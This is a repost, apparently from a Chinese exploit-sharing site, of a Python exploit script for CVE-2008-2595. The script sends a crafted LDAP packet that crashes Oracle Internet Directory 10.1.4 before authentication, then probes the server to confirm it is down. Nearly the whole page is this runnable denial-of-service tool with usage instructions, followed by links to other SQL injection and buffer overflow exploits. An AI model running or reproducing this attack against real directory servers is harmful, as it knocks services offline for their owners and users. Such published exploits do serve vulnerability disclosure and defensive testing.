Oracle Internet Directory 10.1.4 Remote Preauth DoS Exploit

所属分类: 网络安全 / Exploit 阅读数: 111
收藏 0 赞 0 分享
#!/usr/bin/python """
Oracle Internet Directory 10.1.4 preauthentication Denial Of Service NOTES: Under 32 bits platforms it crashes immediately. Under 64 bits it may take even hours.
Sometimes you need 2 shoots to crash OID completely. The server "commonly" tolerates one
shoot, but even when you only send one packet it will crash. Tested: Win2000 x86, WinXP x86, Win2003 X86_64 Vulnerability found by Joxean Koret (joxeankoret [ at ] yahoo DOT es) Fixed: Oracle Critical Patch Update July 2008
CVEID: CVE-2008-2595
""" import sys
import time
import socket healthPacket = "0%\\x02\\x01\\x01c \\x04\\x00\\n\\x01\\x02\\n\\x01\\x00\\x02\\x01\\x00\\x02\\x01\\x00\\x01\\x01\\x00\\x87\\x0bobjectClass0\\x00"
packet = "\x30\x0e\x02\x01\x01\x60\x09\x30\x01\x03\x04\x02\x44\x4e\x80\x00" def checkHealth(hostname, port):
print " --> Wating 5 seconds"
time.sleep(5)

print " --> Connecting to target..."
socket.setdefaulttimeout(5)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((hostname, port)) try:
print " --> Sending 'health' packet ..."
s.sendall(healthPacket)
print " --> Trying to receive something..."
data = s.recv(1024)
except:
err = sys.exc_info()[1] if int(err[0]) == 104:
print "[ ] Exploits works!"
return if data != "":
print "[!] Server is up and running :("
else:
print "[?] Server doesn't answer nothing. It works?" def oidDos(hostname, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
print "[ ] Connecting to ldap://%s:%d..." % (hostname, port)
s.connect((hostname, int(port))) print "[ ] Sending packet..."
s.sendall(packet)
s.close() print "[ ] Checking OID's health..."
checkHealth(hostname, port)
except:
print sys.exc_info()[1] def usage():
print "Oracle Internet Directory 10.1.4 Remote Preauthentication DOS"
print "Copyright (c) 2007 Joxean Koret"
print
print "Usage:"
print sys.argv[0],"-h<hostname> -p<port>"
print def main():
if len(sys.argv) != 3:
usage()
sys.exit(0)

hostname = None
port = None i = 0
for param in sys.argv:
i = 1

if i == 1:
continue

if param.startswith("-h"):
hostname = param[2:]
elif param.startswith("-p"):
port = int(param[2:])
else:
print "Unknown option '%s'" % param
usage()
sys.exit(1)

if not hostname or not port:
print "Bad command line."
usage()
sys.exit(1) oidDos(hostname, port) if __name__ == "__main__":
main()

更多精彩内容其他人还在看

MojoClassifieds 2.0 Remote Blind SQL Injection Exploit

#!/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if(!$ARGV[1]) { print "
收藏 0 赞 0 分享

WarFTP 1.65 (USER) Remote Buffer Overlow Exploit

#include <stdio.h> #include <string.h> #include <winsock.h> #define VULNSERVER "WAR-FTPD 1.65"
收藏 0 赞 0 分享

IntelliTamper 2.07 (map file) Local Arbitrary Code Execution Exploit (pl)

#!/usr/bin/perl # k`sOSe - 7/21/2008 # http://secunia.com/advisories/20172 # A sploit for an ancient vuln. Just because i need
收藏 0 赞 0 分享

DigiLeave 1.2 (info_book.asp book_id) Blind SQL Injection Exploit

#!/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if(!$ARGV[1]) { print "
收藏 0 赞 0 分享

HRS Multi (picture_pic_bv.asp key) Blind SQL Injection Exploit

#!/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if(!$ARGV[1]) { print "
收藏 0 赞 0 分享

Apache mod_jk 1.2.19 Remote Buffer Overflow Exploit (win32)

#!/usr/bin/python # # _____ _ _ _____ _____ _____ _____ # / ___| |_| | _ | _ | _ |_ _| # | (___| _ | [_)_/| (_
收藏 0 赞 0 分享

Oracle Internet Directory 10.1.4 Remote Preauth DoS Exploit

#!/usr/bin/python """ Oracle Internet Directory 10.1.4 preauthentication Denial Of Service NOTES: Under 32 bits platfo
收藏 0 赞 0 分享

tplSoccerSite 1.0 Multiple Remote SQL Injection Vulnerabilities

############################################################### #################### Viva IslaM Viva IslaM #################### ## ##
收藏 0 赞 0 分享

Microsoft DNS Server (Dynamic DNS Updates) Remote Exploit

/* Exploiting Microsoft DNS Dynamic Updates for Fun and profit Andres Tarasco Acu?a - (c) 2007 Url: http://www.514.es
收藏 0 赞 0 分享

Joomla Component DT Register Remote SQL injection Vulnerability

/--------------------------------------------------------------- / / Joomla Component DT Regis
收藏 0 赞 0 分享
查看更多